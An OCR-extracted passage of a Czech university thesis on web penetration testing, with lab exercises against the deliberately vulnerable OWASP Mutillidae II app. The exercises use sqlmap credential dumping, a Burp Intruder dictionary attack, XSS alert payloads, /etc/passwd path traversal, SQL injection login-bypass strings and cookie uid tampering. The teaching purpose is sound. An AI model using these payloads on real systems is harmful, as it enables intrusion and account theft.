//$dbhost = ' l o c a l h o s t ' ; 
//$dbuser = ' rnnt ' ; 
//$dbpass = 1 1 ; 
//$dbname = 'owasplO' ; 

Obr. 4.43: Obsah souboru config.inc 

f Request J Response j 

[ Raw | Headers j Hex J HTML } Render 

HTTP/1.1 20G OK 
•a te : Mon, 04 Apr 2016 10 :25 :32 GMT 
Server : Apache/2 ,2 .14 (Ubuntu) mod_mono/2.4,3 PHP/5 ,3 ,2- lubuntu4 .30 w i th Suhosin-Patch 
p roxy_h tml /3 ,0 . 1 mod_python/3.3,1 Py thon/2 ,6 .5 mod_ss l /2 .2 ,14 OpenSSL/0.9,8k 
Phus ion_Passenger/4 ,0 .38 mod_per l /2 ,0 .4 P e r l / v 5 . 1 Q , l 

Wed, 29 Ju l 2015 01 :51 :04 GMT Las t -Mod i f i ed 
ETag: "5e999-892-51bf9dlc97200" 
Accept-Ranges: bytes 
Content-Length : 2194 
Connect ion: c lose 
Content-Type : t e x t / p l a i n J 

=7php 

switch [$_SESS ION["secur i ty - leve l " ] J { 
case " 0 " : / / Th is code i s insecure 
case " 1 " 

// DO NOTHING: Th is i s insecure 
SlEncodeOutput = FALSE; 

break; 

case 
case 
case 
case // Th is code i s f a i r l y secure 

/* 
* NOTE: Input v a l i d a t i o n i s exce l l en t but not enough, The output must be 
* encoded per contex t . For example, i f output i s placed i n HTMLj 
* then HTML encode i t , B l a c k l i s t i n g i s a l o s i n g p r o p o s i t i o n , You 

[ ? ] [ < ] [ + ] [ > ] j Type 3 search term 0 matches 

Obr. 4.44: Obsah souboru back-button.inc 
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Př i volbě souboru back-button.inc ú točn ík dostane p ř í s tup ke zdrojovému kódu. 

V n ě m jsou nevyuži té funkce, např . case "2": a case "3":, k te ré jsou považovány za 

nebezpečné, viz obr. 4.44. 

Tato ú loha demonstruje nejběžnější nezabezpečenou konfiguraci, kde větš ina vý

vojářů spoléhá na skryté adresáře a soubory. Jedinou ochranou je zde předpoklad , 

že ú točn ík nezjistí jejich názvy, pro tože k n im neexistují žádné vazby. Nicméně, tyto 

názvy lze uhodnout nebo pros t ředn ic tv ím au tomat izovaných nás t ro jů odhalit. 
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5 ZÁVĚR 

V práci je nejprve obecně popsáno , co je pene t račn í tes tování , co vše by mělo zahr

novat, na jaké typy t e s tů se dělí a metodologie testování . 

Dále je uvedena bezpečnos tn í organizace „OWASP", věnující se bezpečnost i 

webových aplikací. Jsou zde zmíněny její nejvýznamnější projekty a popsán do

kument O W A S P Top 10, k te rý zveřejňuje každé t ř i roky 10 nej závažnějších zrani

te lnost í webových aplikací. Další část tvoř í základní popis prvních pě t i zrani te lnost í 

(Injection, Broken Authentication and Session Management, Cross-Site Scripting, 

Insecure Direct Object References a Security Misconfiguration) z verze dokumentu 

O W A S P Top 10 2013. U každé z nich je uveden př ík lad ú toku a způsob obrany. 

Poslední teoret ická část je zaměřena na linuxovou distribuci K a l i Linux, urče

nou k pene t r ačn ímu tes tování a p r ůzkumu bezpečnost i . Kromě základních informací 

o distribuci, jsou zmíněny způsoby jejího zprovoznění a nejnovější verze K a l i L inux 

2.0. Další část tvoří popis několika nej používanějších nás t ro jů pro pene t račn í testo

vání, včetně skeneru zrani te lnost í Nessus. 

Praktickou část tvoří tes tování prvních pě t i z rani te lnost í z dokumentu O W A S P 

Top 10 2013, kde je nejprve uveden použi tý S W pro realizaci ú toků a vn i t řn í in

frastruktura sítě. Celý rozbor t é t o části je určen k porozumění vytvořené labora torn í 

úlohy a zároveň slouží jako pod robný návod pro vyučující. 

P r v n í m úkolem bylo získání uživatelských přihlašovacích úda jů webové aplikace 

O W A S P Muti l l idae II p ros t ředn ic tv ím zranitelnosti S Q L injection. Nejprve dojde 

k zachycení H T T P komunikace (požadavku) nás t ro jem Burp Suitě. Následně je po

užit nás t ro j Sqlmap k aplikaci S Q L injection. Výsledkem bylo získání základních 

informací o webové aplikaci a dvaceti uživatelských přihlašovacích údajů . 

Druhý úkol je zaměřený na zranitelnost Broken Authentication and Session M a 

nagement a získání uživatelských přihlašovacích úda jů webové aplikace O W A S P 

Muti l l idae II metodou dictionary attack. Zachycený požadavek nás t ro jem Burp Su

itě je odeslán modulu Intruder, k te rý metodou dictionary attack porovná kombinace 

uživatelských j m é n a hesel. Výsledkem bylo 45 nesprávných kombinací a 4 správné. 

T ře t í úkol je věnovaný zranitelnosti Cross-Site Scripting. Cílem je vyhledání po

tenciálně nebezpečných skr ip tů , k te ré mohou mí t v l iv na webovou aplikaci O W A S P 

Muti l l idae II a znázorni t metodu reflected i stored. Nejprve nás t ro jem XSSer došlo 

k vyhledání nebezpečných skr ip tů a nás ledně byla provedena ukázka se skriptem 

alert (metoda reflected). P o t é bylo prezentováno použi t í skriptu alert i pro metodu 

stored. 

Č t v r t ý úkol je zaměřen na zranitelnost Insecure Direct Object References, kde 

je cílem, zneuži t ím t é t o zranitelnosti, získat informace o webové aplikaci O W A S P 

Muti l l idae II. Nás t ro jem Burp Suitě je zachycen požadavek, k te rý je nás ledně pozmě-
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něn za p ř ímý odkaz na objekt (soubor). Výsledkem bylo p rozkoumání pě t i souborů 

webové aplikace. 

Poslední úkol se zabývá zrani te lnost í Security Misconfiguration. Cílem je prove

dení p r ů z k u m u adresářů webové aplikace O W A S P Muti l l idae II, k teré by neměly 

být p ř í s tupné neoprávněným osobám. Nejprve je odchycena H T T P komunikace a 

po té nás ledné odeslání podsložky mutillidae modulu Spider k p růzkumu. Výsledkem 

je nahlížení do adresářů a souborů, k te ré jsou za normáln ích okolností skryty. 

Z prakt ické části je v příloze vypracována labora torn í ú loha „Pene t račn í testo

vání webových aplikací" a „Úvod do problematiky pene t račn ího tes tování" , k te rá 

popisuje základní princip zrani te lnost í S Q L injection a Broken Authentication and 

Session Management a slouží jako úvod před hlavní l abora torn í úlohou. 
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SEZNAM SYMBOLŮ, VELIČIN A Z K R A T E K 

S Q L Structured Query Language 

D N S Domain Name System 

C G I Common Gateway Interface 

L D A P The Lightweight Directory Access Protocol 

V P N Vi r tua l Private Network 

ISS Internet Security System 

O W A S P The Open Web Appl icat ion Security Project 

S W Software 

H W Hardware 

H T T P The Hypertext Transfer Protocol 

ID Identifier 

SSL Secure Sockets Layer 

D O M Document Object Model 

H T M L Hyper Text Markup Language 

H T T P S Hypertext Transfer Protocol Secure 

U R L Uniform Resource Locator 

A R M Acorn R I S C Machine 

G U I Graphical User Interface 

B S D Berkeley Software Distr ibution 

OS Operating system 

W P A W i - F i Protected Access 

W E P Wired Equivalent Privacy 

D O S Disk Operating System 

D E S The Data Encrypt ion Standard 
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L M L A N Manager 

T C P The Transmission Control Protocol 

U D P The User Datagram Protocol 

V M Vi r t ua l Machine 

D B M S Database Management System 

P H P P H P : Hypertext Preprocessor 

D B A Database Administrator 
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A LABORATORNÍ ÚLOHA - PENETRAČNÍ 
TESTOVÁNÍ WEBOVÝCH APLIKACÍ 

Cílem úlohy je seznámit se s pene t r ačn ím tes továním webových aplikací automati

zovanými nást roj i v pros t řed í K a l i L inux a p rvn ími pě t i zranitelnostmi webových 

aplikací z dokumentu O W A S P Top 10 2013. 

Zadání 
1. Seznámit se s p ros t řed ím webové aplikace O W A S P Muti l l idae II. 

2. Získat uživatelské přihlašovací údaje webové aplikace O W A S P Muti l l idae II 

pomocí S Q L injection. 

3. Získat uživatelské přihlašovací údaje webové aplikace O W A S P Muti l l idae II 

využ i t ím metody dictonary attack. 

4. Vyhledat potenciá lně nebezpečné skripty nás t ro jem XSSer a vyzkoušet vl iv 

skriptu alert na webovou aplikaci O W A S P Muti l l idae II metodou reflected i 

stored. 

5. Využít př ímých odkazů na objekty a získat informace o webové aplikaci O W A S P 

Muti l l idae II. 

6. Využít nezabezpečenou konfiguraci k p rozkoumání adresářů a souborů webové 

aplikace O W A S P Muti l l idae II. 

Postup pro vypracování 
Vnit řní infrastruktura sítě je zakreslena na obr. A . l . P ros t ř edn ic tv ím vir tual izač-

ního programu Oracle V M Vir tua lBox, umís těného na P C hosta, jsou spuš těny dvě 

v i r tuá ln í stanice (Ka l i Linux, O W A S P Broken Web Applications), k te ré komuni

kují s hos t i te l ským P C v režimu N AT a Host ordy z hlediska bezpečnos t i sítě. Host 

všechny požadavky od stanic posílá routeru, k te rý je zpracuje a přepošle dál v zá

vislosti na požadavku . 

1) 
• Spusťte Oracle V M Vi r tua lBox a v n ě m stanice K a l i L inux a O W A S P Broken 

Web Applications. 

• Stanici O W A S P Broken Web Applications ponechte spuš těnou na pozadí a 

př ihlas te se do sys tému K a l i Linux jako uživatel root s heslem toor. 

• Otevře te webový prohlížeč Iceweasel, zadejte IP adresu 192.168.56.101 ( O W A S P 

Broken Web Applications), zvolte webovou aplikaci O W A S P Muti l l idae II a 

zorientujte se v pros t ředí . 
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Obr. A . l : Vni t řn í infrastruktura sítě 

. Model zneužit í zvolte „ O W A S P 2013" -> „ A I - Injection (SQL)" -> 

„ S Q L M A P Practice" -> „Log in" . 

• V U R L adrese může te vidět , že webová aplikace nepoužívá metodu G E T , 

ale P O S T . Je tedy p o t ř e b a zachytit H T T P komunikaci webového prohlížeče 

s webovým serverem. 

• Spusťte nás t ro j Burp Suite a p řepně te do záložky Proxy/Options. Nastavte 

IP adresu 127.0.0.1, port 8080 a uj is těte se, že nas louchání je akt ivní (zatržené 

t lačí tko Running). 

• Pro úspěšné zachycení H T T P komunikace je p o t ř e b a nastavit stejnou IP ad

resu i port ve webovém prohlížeči Iceweasel. V p ravém horn ím rohu otevře te 

možnost i a p r a v ý m t lač í tkem kl ikněte na doplněk Swap Proxy. O tevře se na

stavení, kde zadejte stejné údaje jako v nás t ro j i Burp Suite, zavřete nas tavení a 

klikněte levým t lač í tkem na položku Swap Proxy, k t e r á se zvýrazní , což značí, 

že p ř epnu t í proxy serveru je akt ivní . V t é t o fázi nepůjde používat webový pro

hlížeč k běžnému surfovaní. V př ípadě po t ř eby mus íme vypnout proxy server 

opě tovným kl iknut ím na Swap Proxy. 

• Nyní vyplň te ve webové aplikaci libovolné j m é n o a heslo a po tvrďte t lač í tkem 

Login. V nást roj i Burp Suite se p řepně te do záložky Proxy/Intercept a pro

hlédněte si zachycený požadavek. Ve spodní části jsou vámi vyplněné údaje, 

které budete po t řebova t k použi t í nás t ro je Sqlmap. 
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• Spusťte te rminá l , zadejte následující př íkaz a podívej te se na možnos t i ná

stroje Sqlmap. Věnujte pozornost zejména volbám Enumeration, Fingerprint, 

Target a Request. 

Příkaz: 

root@Kali :~# sqlmap -help 

• Dalš ím krokem je shromáždění základních informací o webové aplikaci a pře

svědčení se, zda-li je nás t ro j schopen úspěšně provést S Q L injection. 

Př íkaz : 

root@Kali :~# sqlmap -u "http://192.168.56.101/mutillidae/index.php?pa 

ge=login.php"—data="username=„vámi zadané jméno"&password=„vámi 

zadané heslo"&login-php-submit-button=Login"-f -b 

• Pokud se vás nás t ro j dotáže na tyto otázky, zvolte následující odpovědi: 

— It looks like the back-end D B M S is ' M y S Q L ' . Do you want to skip test 

payloads specific for other DBMSes? [Y/n] y 

— For the remaining tests, do you want to include all tests for ' M y S Q L ' 

extending provided level (1) and risk (1) values? [Y/n] y 

— Sqlmap got a 302 redirect to 'http://192.168.56.101:80/mutillidae/index. 

php?popUpNot i f ica t ionCode=AUl ' . Do you want to follow? [Y/n] y 

— Redirect is a result of a P O S T request. Do you want to resend original 

P O S T data to a new location? [y/N] y 

— P O S T parameter 'username' is vulnerable. Do you want to keep testing 

the others (if any)? [y/N] n 

• Po dokončení tes tování nás t ro j zobrazí výsledky a informace o webové aplikaci, 

k teré si p rohlédně te . Smažte parametry - f -b na konci předchozího př íkazu 

a mís to nich zadejte parametry k zjištění názvu serveru D B M S , ak tuá ln ího 

uživatele D B M S , ak tuá ln í da t abáze D B M S a zda-li je ak tuá ln í uživatel D B A 

sys tému D B M S . Jednot l ivé parametry je n u t n é oddělovat mezerou. 

• Dále je n u t n é zjistit, j aké da t abáze webová aplikace obsahuje. Opě t smaž te 

parametry pro výpis předchozích informací a nahraďte je parametrem —dbs. 

• Zvolte cílovou da tabáz i , kterou víte z předchozích kroků a vypiš te její tabulky. 

Př íkaz : 

root@Kali :~# sqlmap -u "http://192.168.56.101/mutillidae/index.php?pa 

ge=login.php"—data="username=„vámi zadané jméno"&password=„vámi 
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zadané heslo"Mogin-php-submit-button=Login"-D „cílová d a t a b á z e " —tab 

les 

Vyberte tabulku, obsahující uživatelské úč ty a vypiš te její sloupce. Postup je 

stejný jako v př íkazu výše. Parametr s cílovou da t abáz í zůstává, jen je po t ř eba 

použí t parametry pro volbu tabulky a výpis s loupců, k teré obsahuje. 

Nyní p o d o b n ý m způsobem zvolte sloupce s uživatelskými j m é n y a hesly ve 

formátu - C uživatelská jména,hesla (nepoužívejte mezery za čárkou) a na ko

nec př íkazu přidej te parametr —dump, k te rý slouží pro vypsání hodnot těchto 

sloupců. 

Pokud nějaká hodnota (nejčastěji heslo) používá nějaký typ šifrování, nás t ro j 

se pokusí o dešifraci a dotáže se, jak chceme postupovat. Zvolte následující 

odpovědi: 

— Do you want to store hashes to a temporary file for eventual further 

processing wi th other tools [y/N] y 

— Do you want to crack them via a dictionary-based attack? [Y/n/q] y 

— What dictionary do you want to use? 

(1) default dictionary file ' /usr /share/sqlmap/txt /wordl is t .z ip ' 

(2) custom dictionary file 

(3) file wi th list of dictionary files 

> 1 

— Do you want to use common password suffixes? (slow!) [y/N] n 

Proh lédně te si vypsané uživatelské údaje a zkuste něk te rý z nich použí t pro 

přihlášení do webové aplikace O W A S P Muti l l idae II pro ověření správnost i . 

Zkuste si také vypsat sloupec is_admin. 

Model zneužit í zvolte „ O W A S P 2013" -> „ A 2 - Broken Authentication 

and Session Management" -> „ A u t h e n t i c a t i o n Bypass" -> „Via Brute 

Force" -> „Log in" . 

Stejným postupem jako v předchozím úkolu zachyťte H T T P komunikaci. Po 

úspěšném zachycení kl ikněte p r a v ý m t lač í tkem kamkoliv v okně s požadavkem. 

Ukáže se menu, ze k te rého vyberte volbu Send to Intruder. 

P ř e p n ě t e se do záložky Intruder/Target, nastavte IP adresu našeho cíle 

192.168.56.101 a port 80. 

V záložce Intruder/Positions je p o t ř e b a urči t typ ú toku a zvolit mí s t a 

v požadavku , na k t e r á bude Intruder vk láda t námi zadané hodnoty. K l i k n u 

t í m na t lačí tko Clear § se všechny automaticky označené p roměnné hodnoty 

vymažou . Nyní označte pouze vámi vyplněné uživatelské j m é n o a heslo (po

kud jste zvoli l i jako uživatelské j m é n o např . „student" a heslo „studenti", tak 
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označí te jen tyto hodnoty) a k l iknut ím na t lačí tko Add § zadefinujeme místa , 

na k t e rá bude Intruder vk láda t uživatelská j m é n a a hesla ze slovníku. Attack 

type zvolte Cluster bomb. 

P ř e p n ě t e se do záložky Intruder/Payloads. Zde je nu tné urči t , jaké hodnoty 

se budou na zvolená mís t a vk láda t . V Payload set bude po rozbalení seznamu 

na výběr ze dvou možnost í , kde vyberte nejprve 1. Payload type zvolte Simple 

list. V Payloads Options kl ikněte na t lač í tko Load ... a vyberte z domovského 

adresáře soubor userlist.txt. 

Nyní p řepně te Payload set na číslo 2 a k l iknut ím na t lačí tko Load ... vyberte 

z domovského adresáře soubor passlist.txt. Kl ikněte na t lač í tko Start attack 

k zahájení ú toku . 

Po dokončení ú toku nás t ro j zobrazí výsledky. P roh lédně te si jednot l ivé kombi

nace uživatelských jmen a hesel, záložky Response/Raw a Response/Ren 

der a zkuste zjistit, podle čeho může te poznat, že d a n á kombinace je správná. 

P ros t ř edn ic tv ím těchto kombinací se po t é zkuste přihlási t do webové aplikace 

O W A S P Muti l l idae II. 

Model zneuži t í zvolte „ O W A S P 2013" -> „ A 3 - Cross Site Scripting 

(XSS)" -> „ R e f l e c t e d (First Order)" -> „ S e t Background Color". 

Otevře te t e rminá l a zadán ím následujícího př íkazu spusťte graficky uživatelské 

rozhraní nás t ro je XSSer. 

Př íkaz : 

root@Kali :~# xsser — gtk 

Ve spodn í části p řepně te F l y Mode na Intruder a do p rázdného pole vložte 

U R L adresu. Za t rhně te režim tes tování na Automatic a kliknete na t lačí tko 

Aiml. Pro zahájení ú toku kl ikněte na t lač í tko FLY!!!. 

Po vykonání ú t o k u nás t ro j vypíše do hlavního okna celý postup testování , 

k te rý si p roh lédně te a zjistěte, kolik úspěšných a neúspěšných injections nás t ro j 

vykonal. V záložce Expert Visor/Report/Suspicious jsou vidět všechny 

injections s označením suspicious, tedy takové, k teré mohou mí t vl iv na webo

vou aplikaci. 

Otestujte nás t ro jem vytvořenou U R L se skriptem alert. Mělo by se zobrazit 

výs t ražné okno, což je hlavní indikátor , že webová aplikace je z ran i te lná proti 

ú t o k ů m cross-site scripting. 

Upravte předchozí tvar skriptu na následující a podívej te se, j aký vl iv bude 

mít skript na webovou aplikaci: 
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http:/ /192.168.56.10 l/mutillidae/index.php?page=set-background-color. 

php / "<SCRIPT>a le r t ( 'Pozor utok X S S ' ) < / S C R I P T > 

Nyní zvolte model pro zneuži t í „ O W A S P 2013" -> „ A 3 - Cross Site 

Scripting (XSS)" -> „ S t o r e d (Second Order)" -> „ A d d to your 

blog". 

Upravte skript z předchozího úkolu na následující tvar: 

<script>alert("Pozor utok XSS")</sc r ip t> 

Upravený skript napiš te do p rázdného textového pole a kl ikněte na Save Blog 

Entry. Mělo by dojít k zobrazení výs t ražného okna alert. V tomto př ípadě to 

však, na rozdíl od metody reflected, bude mí t dopad na více věcí. 

Zvolte t lač í tko View Blogs, vyberte z př í spěvků od uživatelů volbu Show AU 

a po tvrďte t lač í tkem View Blog Entries. Zobrazí se výs t ražné okno alert. P ře 

pně te se na jakýkoliv j iný model zneuži t í a po t é se zkuste zpět p řepnou t na 

model t é t o úlohy. Opě t se zobrazí výs t ražné okno alert. V obou př ípadech se 

zamyslete proč tomu tak je. 

Model zneuži t í zvolte „ O W A S P 2013" -> „ A 4 - Insecure Direct Object 

References" -> „ T e x t File Viewer". 

Již z n á m ý m postupem zachyťte H T T P komunikaci. Jed iný rozdíl bude, že po 

nas tavení proxy serveru zvolte ve webové aplikaci libovolný soubor a kl ikněte 

na t lačí tko View File. 

V zachyceném požadavku smaž te zvýrazněnou část: 

textňle=http%3A%2F%2Fwww.textfiles.com%2Fhacking%2Faudi 

tool. ŕ a : ŕ&tex t -n le -v iewer -php-submi t -bu t ton=View+Fi le 

Nahraďte j í cestou k souboru passwd: 

textf i le=/eic /passtüd&text-f i le-viewer-php-submit-but ton=View+File 

Kl iknu t ím na t lačí tko Forward v nást roj i Burp Suite odešlete upravený po

žadavek webovému serveru ke zpracování a v prohlížeči Iceweasel dostaneme 

odpověď. P roh lédně te si obsah souboru a vysvět lete , p roč je důležitý. 
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Nyní s te jným postupem zachyťte H T T P komunikaci, zobrazte si obsah násle

dujících souborů, zjistěte, k čemu jsou určeny a proč jsou důležité: 

/proc/version 

/ p r o c / n e t / r o u t ě 

/proc/net /arp 

/ etc / apache2 / apache2. conf 

Model zneuži t í zvolte „ O W A S P 2013" -> „ A 5 - Security Misconfigu-

ration" -> „ D i r e c t o r y Browsing". 

Zachyťte H T T P komunikaci nás t ro jem Burp Suite. Po nas tavení proxy serveru 

st iskněte t lačí tko F5, sloužící k obnovení webové s t ránky, čímž se zachyt í i 

H T T P komunikace. Po té vypně te zachytávání k l iknut ím na t lačí tko Intercept 

is on v záložce Proxy/Intercept a p řepně te se do záložky Target/Site 

map. 

Proh lédně te si podsložku mutillidae h lavní větve https://192.168.56.101. K l i k 

nu t ím p r a v ý m t lač í tkem na podsložku mutillidae se zobrazí menu, ze kterého 

zvolte volbu Spider this branek Nás t ro j se vás dotáže , zda-li chcete automa

ticky upravit rozsah p růzkumu. Zvolte Yes, čímž se nás t ro j zaměř í pouze na 

zvolenou složku mutillidae a všechny její podsložky. 

P ř e p n ě t e se do záložky Spider/Control a vyčkejte, dokud počet požadavků 

ke zpracování (Requests queued) nebude na hodno tě 0. 

P ř e p n ě t e se zpět do záložky Target/Site map, prozkoumejte shromážděný 

obsah podsložky mutillidae modulem Spider a srovnejte s předchozím obsa

hem. Věnuj te pozornost zejména složce includes. 

Vyberte soubor back-button.inc, jehož obsah uvidí te v záložce Response/Raw. 

Zobrazí se vám zdrojový kód, k te rý obsahuje spousty nevyuži tých funkcí např . 

case "2": a t í m p á d e m předs tavuje riziko pro webovou aplikaci. 

Najdě te i j iné soubory s potenciá lně nebezpečným zdrojovým kódem a ana

lyzujte je. Dále vyhledejte soubor, ze k te rého zjistíte název hosta da tabáze , 

název da tabáze , uživatelské j m é n o a heslo. 
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B LABORATORNÍ ÚLOHA - ÚVOD DO PRO
B L E M A T I K Y PENETRAČNÍHO TESTOVÁNÍ 

Cílem úlohy je studenty seznámit se zák ladn ím principem zrani te lnost í S Q L in-

jection a Broken Authentication and Session Management z dokumentu O W A S P 

Top 10 2013. 

Zadání 
1. Seznámit se s p ros t řed ím webové aplikace O W A S P Muti l l idae II. 

2. Vyzkoušet si základní metody S Q L injection pro úspěšné př ihlášení do webové 

aplikace O W A S P Muti l l idae II. 

3. Porozumět problematice zranitelnosti Broken Authentication and Session M a 

nagement p ros t ředn ic tv ím změn hodnot parametru uid v zachyceném cookie. 

Postup pro vypracování 
Vnit řní infrastruktura sítě je zakreslena na obr. A . l . P ros t ř edn ic tv ím vir tual izač-

ního programu Oracle V M Vir tua lBox, umís těného na P C hosta, jsou spuš těny dvě 

v i r tuá ln í stanice (Ka l i Linux, O W A S P Broken Web Applications), k te ré komuni

kují s hos t i te l ským P C v režimu N AT a Host ordy z hlediska bezpečnos t i sítě. Host 

všechny požadavky od stanic posílá routeru, k te rý je zpracuje a přepošle dál v zá

vislosti na požadavku . 

Obr. B . l : Vni t řn í infrastruktura sítě 

77 



Spusťte Oracle V M Vi r tua lBox a v n ě m stanice K a l i L inux a O W A S P Broken 

Web Applications. 

Stanici O W A S P Broken Web Applications ponechte spuš těnou na pozadí a 

př ihlas te se do sys tému K a l i Linux jako uživatel root s heslem toor. 

Otevře te webový prohlížeč Iceweasel, zadejte IP adresu 192.168.56.101 ( O W A S P 

Broken Web Applications), zvolte webovou aplikaci O W A S P Muti l l idae II a 

zorientujte se v pros t ředí . 

Model zneužit í zvolte „ O W A S P 2013" -> „ A I - Injection (SQL)" -> 

„ S Q L i - Bypass Authentication" -> „ L o g i n " . 

Nejprve napiš te do tex tového pole uživatelského j m é n a jednoduchou uvozovku 

' a po tvrďte t lač í tkem Login. Uvozovka by měla donutit webovou aplikaci 

k zobrazení výjimky, což indikuje její zranitelnost proti ú toku S Q L injection. 

P roh lédně te si z chybového hlášení vámi vyplněný a poslaný typ dotazu (query) 

webovému serveru. 

Mezi nej jednodušší způsob úspěšného přihlášení pomocí S Q L injection je spl

nění podmínky. P ředpokláde jme , že nevíme uživatelské j m é n o ani heslo. Za

dejte do tex tového pole uživatelského j m é n a ' or '1 '= '1, heslo vyplň te stejně 

a zkuste se přihlási t . Budeme přihlášeni jako první uživatel , k te rý je uveden 

v da tabáz i , což je ve většině př ípadech admin. Autentizace p roběh la úspěšně, 

protože p o d m í n k a 1 = 1 je vždy pravdivá. 

Dalš ím ze způsobů je použi t í znaků, označující v jazyce S Q L komentář . Za

dejte do textového pole uživatelského j m é n a ' or 'ľ='ľ # a zkuste se 

přihlási t . Autentizace p roběhne opět úspěšně, pro tože vše za znakem # je 

zakomentováno, tedy i přihlašovací heslo. 

V př ípadě , že bychom věděli uživatelská jména , ale nikoliv pa t ř i čná hesla, 

pos tač í zadat požadované uživatelské j m é n o a použí t komentá ř pro zbytek 

dotazu. Předpokláde jme , že víme o regis t rovaném uživateli user. Zadejte do 

textového pole uživatelského j m é n a user' # a zkuste se přihlási t . Budeme 

přihlášeni jako uživatel user. 

Klikněte na položku v horn ím menu Login/Register a proveďte registraci 

s l ibovolnými údaji . Nyní opět kl ikněte na položku Login /Register, s t iskněte 

Alt pro zobrazení menu webového prohlížeče a zvolte volbu Nástroje/Cookies 

Manager+. Označ te všechny zaznamenané cookies a v y m a ž t e je. 
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• Př ih las te se do webové aplikace pod regis trovanými údaj i a podívej te se, jaké 

cookies probíhající relace zachytil doplněk Cookies Manager+. Věnuj te pozor

nost cookie uid, k t e rý označuje identifikační číslo a pořad í uživatele v da tabáz i . 

• Ste jným postupem zaregistrujte nového uživatele a prohlédněte si i jeho co

okies po přihlášení . U cookie uid kl ikněte na Edit a změňte hodnotu Obsah 

o 1 menší a po tvrďte t lač í tkem Save. Nyní , s t i sknut ím t lač í tka F5, byste měli 

být v p ravém horn ím rohu webové aplikace přihlášeni jako předchozí uživa

tel, k te rého jste zaregistrovali. P ř i nedos ta tečné ochraně autentizace můžete 

být t í m t o způsobem přihlášeni jako kterýkoliv uživatel registrovaný v data

bázi. P o s t u p n ý m zmenšováním parametru uid, zkuste zjistit všechny uživatele 

webové aplikace O W A S P Muti l l idae II. 
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